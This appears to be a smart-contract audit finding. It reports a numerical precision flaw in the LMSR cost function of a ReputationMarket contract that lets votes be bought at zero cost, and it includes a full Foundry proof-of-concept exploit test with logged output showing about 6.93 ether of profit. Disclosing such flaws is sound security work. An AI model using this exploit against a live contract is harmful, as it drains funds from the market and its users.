Skip to content

Latest commit

 

History

History
330 lines (275 loc) · 13.1 KB

File metadata and controls

330 lines (275 loc) · 13.1 KB

Docile Lilac Gecko

High

Zero-Cost Vote Acquisition Due to LMSR Implementation

Summary

The Logarithmic Market Scoring Rule (LMSR) implementation in the ReputationMarket contract suffers from a critical numerical precision vulnerability. When there is a significant disparity between trust and distrust votes, the cost calculation for new votes can effectively become zero due to exponential scaling limitations. This allows malicious actors to acquire votes without any cost and potentially extract value from the market through arbitrage.

  function _cost(
    uint256 yesVotes,
    uint256 noVotes,
    uint256 liquidityParameter
  ) public pure returns (uint256 costResult) {
    // Compute e^(yes/b) and e^(no/b)
    (UD60x18 yesExp, UD60x18 noExp) = _getExponentials(yesVotes, noVotes, liquidityParameter);

    // sumExp = e^(yes/b) + e^(no/b)
    UD60x18 sumExp = yesExp.add(noExp);

    // lnVal = ln(e^(yes/b) + e^(no/b))
    //@audit calculating lnVal will be highly dominated by e^(yes/b) and is restricted to UD60x18
    UD60x18 lnVal = sumExp.ln();

    // Unwrap lnVal and multiply by b (also in UD60x18) to get cost
    uint256 lnValUnwrapped = unwrap(lnVal);
    costResult = lnValUnwrapped * liquidityParameter;
  }

Attack Path

When the market has a large number of one type of vote (e.g., trust votes), the cost calculation for new votes can become zero due to numerical precision limitations. Example: Market (Default):

  • Trust Votes: 98,000
  • 1 < Distrust Votes < 54,000
  • Liquidity Parameter: 1,000

In this case the cost calculation for new votes would be 0. This is due because the exponential values of the trust votes is so large (e^(98,000/1,000) = 3.6e42) which is much larger than the exponential value of the distrust votes (e^(55,000/1,000) = 1.3e24). The sum value for these two will be

  • sumExp (yesVotes = 98000, noVotes = 1, b = 1000)= 3637970947608804490426904392488195559575853724111990659261862
  • sumExp (yesVotes = 98000, noVotes = 54000, b = 1000)= 3637970947608804491196382919002397262857517847202467732154530 For both condition only the first 18-digit are exactly same but integer values are very different but the natural logarithm value is exactly same:
  • lnVal = 97999999999999999992 This will results in the cost calculation being 0.

Impact

The vulnerability allows attackers to acquire votes without any cost, potentially leading to stealing value from the market once the votes are acquired.

PoC

Exploit Steps:

  1. Setup Initial Imbalance:
  • A user purchases 98,000 trust votes, creating a significant disparity.
  1. Exploit Zero-Cost Votes:
  • Malicious users exploit the zero-cost calculation to acquire distrust votes at no cost.
  1. Arbitrage Extraction:
  • Attacker extracts profit by selling acquired votes.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {ReputationMarket} from "../src/ReputationMarket.sol";
import {ContractAddressManager} from "../src/utils/ContractAddressManager.sol";
import {EthosProfile} from "../src/EthosProfile.sol";
import {Proxy} from "@openzeppelin/contracts/proxy/Proxy.sol";

contract ProxyTest is Proxy {
    address implementation;
    constructor(address implementation_) {
        implementation = implementation_;
    }
    function _implementation() internal view override returns (address) {
        return implementation;
    }
}

contract ReputationMarketExploitTest is Test {
    ContractAddressManager contractAddressManager;
    ProxyTest proxyReputationMarket;
    ProxyTest proxyEthosProfile;
    
    address owner = makeAddr("owner");
    address admin = makeAddr("admin");
    address signatureVerifier = makeAddr("signatureVerifier");
    address marketCreator = makeAddr("marketCreator");
    
    // Attack addresses
    address trustBuyingUser = makeAddr("trustBuyingUser");
    address untrustBuyingUser = makeAddr("untrustBuyingUser");
    address attacker = makeAddr("attacker");
    
    uint256 constant MARKET_ID = 2;
    uint256 constant LIQUIDITY_PARAMETER = 1000;
    uint256 constant BASE_PRICE = 0.01 ether;

    function setUp() public {
        console2.log("=== Setting up Test Environment ===");
        
        vm.startPrank(owner);
        
        // Deploy contracts
        ReputationMarket market = new ReputationMarket();
        EthosProfile ethosProfile = new EthosProfile();
        contractAddressManager = new ContractAddressManager();
        proxyReputationMarket = new ProxyTest(address(market));
        proxyEthosProfile = new ProxyTest(address(ethosProfile));

        // Initialize Market
        (bool success, ) = address(proxyReputationMarket).call(
            abi.encodeWithSignature(
                "initialize(address,address,address,address,address)", 
                owner, 
                admin, 
                address(market), 
                signatureVerifier, 
                address(contractAddressManager)
            )
        );
        require(success, "Market initialization failed");

        // Initialize Profile
        (success, ) = address(proxyEthosProfile).call(
            abi.encodeWithSignature(
                "initialize(address,address,address,address,address)", 
                owner, 
                admin, 
                address(ethosProfile), 
                signatureVerifier, 
                address(contractAddressManager)
            )
        );
        require(success, "Profile initialization failed");

        // Setup contract addresses
        address[] memory contractAddresses = new address[](1);
        string[] memory names = new string[](1);
        contractAddresses[0] = address(proxyEthosProfile);
        names[0] = "ETHOS_PROFILE";
        contractAddressManager.updateContractAddressesForNames(contractAddresses, names);

        // Invite market creator
        (success, ) = address(proxyEthosProfile).call(
            abi.encodeWithSignature("inviteAddress(address)", marketCreator)
        );
        vm.stopPrank();

        // Create profile for market creator
        vm.startPrank(marketCreator);
        (success, ) = address(proxyEthosProfile).call(
            abi.encodeWithSignature("createProfile(uint256)", 1)
        );
        vm.stopPrank();

        // Allow market creation
        vm.prank(admin);
        (success, ) = address(proxyReputationMarket).call(
            abi.encodeWithSignature("setUserAllowedToCreateMarket(uint256,bool)", MARKET_ID, true)
        );

        // Create market
        vm.startPrank(marketCreator);
        deal(marketCreator, 0.2 ether);
        (success, ) = address(proxyReputationMarket).call{value: 0.2 ether}(
            abi.encodeWithSignature("createMarket()")
        );
        vm.stopPrank();

        console2.log("Market created with:");
        console2.log("- Liquidity Parameter:", LIQUIDITY_PARAMETER);
        console2.log("- Base Price:", BASE_PRICE);
        console2.log("- Initial Balance:", address(proxyReputationMarket).balance);
    }

    function test_LMSRExploit() public {
        console2.log("\n=== Starting Exploit Test ===");
        
        // 1: First untrustBuyingUser creates large imbalance with trust votes
        console2.log("\n1: Creating vote imbalance");
        uint256 largeVoteAmount = 98_000;
        vm.startPrank(trustBuyingUser);
        deal(trustBuyingUser, 975 ether);
        
        // Log pre-purchase simulation
        (bool success, bytes memory data) = address(proxyReputationMarket).call(
            abi.encodeWithSignature("simulateBuy(uint256,bool,uint256)", MARKET_ID, true, largeVoteAmount)
        );
        require(success, "Simulation failed");
        (
            uint256 cost,
            uint256 protocolFee,
            uint256 donation,
            uint256 total,
            uint256 price
        ) = abi.decode(data, (uint256, uint256, uint256, uint256, uint256));
        
        console2.log("Large vote purchase simulation:");
        console2.log("- Base Cost:", cost);
        console2.log("- Protocol Fee:", protocolFee);
        console2.log("- Total Cost:", total);
        console2.log("- New Vote Price:", price);

        // Execute large vote purchase
        (success, ) = address(proxyReputationMarket).call{value: 975 ether}(
            abi.encodeWithSignature("buyVotes(uint256,bool,uint256,uint256)", MARKET_ID, true, largeVoteAmount, 0)
        );
        require(success, "Large vote purchase failed");
        
        // Log market state after large purchase
        (, data) = address(proxyReputationMarket).call(
            abi.encodeWithSignature("getMarket(uint256)", MARKET_ID)
        );
        (ReputationMarket.MarketInfo memory marketInfo) = abi.decode(data, (ReputationMarket.MarketInfo));
        console2.log("\nMarket state after large difference in votes:");
        console2.log("- Trust Votes:", marketInfo.trustVotes);
        console2.log("- Distrust Votes:", marketInfo.distrustVotes);
        vm.stopPrank();

        // 2: Second untrustBuyingUser exploits zero-cost votes
        console2.log("\n2: Exploiting zero-cost votes");
        uint256 exploitVoteAmount = 55_000;
        
        // Simulate exploit purchase
        (, data) = address(proxyReputationMarket).call(
            abi.encodeWithSignature("simulateBuy(uint256,bool,uint256)", MARKET_ID, false, exploitVoteAmount)
        );
        (
            uint256 exploitCost,
            ,
            ,
            uint256 exploitTotal,
            
        ) = abi.decode(data, (uint256, uint256, uint256, uint256, uint256));
        
        console2.log("Exploit vote(Distrust) simulation:");
        console2.log("- Expected Cost:", exploitCost);
        console2.log("- Total Cost:", exploitTotal);

        // Execute exploit purchase
        vm.startPrank(attacker);
        deal(attacker, 0.1 ether);
        (success, ) = address(proxyReputationMarket).call{value: 0.1 ether}(
            abi.encodeWithSignature("buyVotes(uint256,bool,uint256,uint256)", MARKET_ID, false, exploitVoteAmount, 0)
        );
        require(success, "Exploit purchase failed");

        // Log attacker balance and market state
        console2.log("\nExploit results:");
        console2.log("- attacker remaining balance:", address(attacker).balance);
        
        (, data) = address(proxyReputationMarket).call(
            abi.encodeWithSignature("getMarket(uint256)", MARKET_ID)
        );
        (marketInfo) = abi.decode(data, (ReputationMarket.MarketInfo));
        console2.log("- Final Trust Votes:", marketInfo.trustVotes);
        console2.log("- Final Distrust Votes:", marketInfo.distrustVotes);
        vm.stopPrank();

        // 3: Demonstrate profit through sell after untrust votes have been purchased
        console2.log("\n3: Demonstrating profit after untrust votes have been purchased");
        vm.startPrank(untrustBuyingUser);
        deal(untrustBuyingUser, 7 ether);
        
        // Buy votes at zero cost
        (success, ) = address(proxyReputationMarket).call{value: 7 ether}(
            abi.encodeWithSignature("buyVotes(uint256,bool,uint256,uint256)", MARKET_ID, false, 43_000, 0)
        );
        require(success, "Untrust votes purchase failed");

        // Sell votes for profit
        vm.startPrank(attacker);
        uint256 balanceBefore = address(attacker).balance;
        (success, ) = address(proxyReputationMarket).call(
            abi.encodeWithSignature("sellVotes(uint256,bool,uint256,uint256)", MARKET_ID, false, 43_000, 0)
        );
        require(success, "Untrust votes sell failed");
        uint256 profit = address(attacker).balance - balanceBefore;
        
        console2.log("After selling results:");
        console2.log("- Profit made:", profit);
        console2.log("- Final untrustBuyingUser balance:", address(attacker).balance);
        
        assertTrue(profit > 0, "Arbitrage should generate profit");
        assertGt(address(attacker).balance, 7 ether, "Should profit more than initial investment");
    }
}

Output of the test:

  === Setting up Test Environment ===
  Market created with:
  - Liquidity Parameter: 1000
  - Base Price: 10000000000000000
  - Initial Balance: 200000000000000000
  
=== Starting Exploit Test ===
  
Step 1: Creating vote imbalance
  Large vote purchase simulation:
  - Base Cost: 973068528194400546900
  - Protocol Fee: 0
  - Total Cost: 973068528194400546900
  - New Vote Price: 9999999999999999
  
Market state after large difference in votes:
  - Trust Votes: 98001
  - Distrust Votes: 1
  
Step 2: Exploiting zero-cost votes
  Exploit vote(Distrust) simulation:
  - Expected Cost: 0
  - Total Cost: 0
  
Exploit results:
  - attacker remaining balance: 100000000000000000
  - Final Trust Votes: 98001
  - Final Distrust Votes: 55001
  
Step 3: Demonstrating profit after untrust votes have been purchased
  After selling results:
  - Profit made: 6931471805599453090
  - Final untrustBuyingUser balance: 7031471805599453090

From this output, we can see that the attacker was able to exploit the zero-cost votes and make a profit of 6.93 ether by selling the untrust votes afterwards which were purchased at zero cost.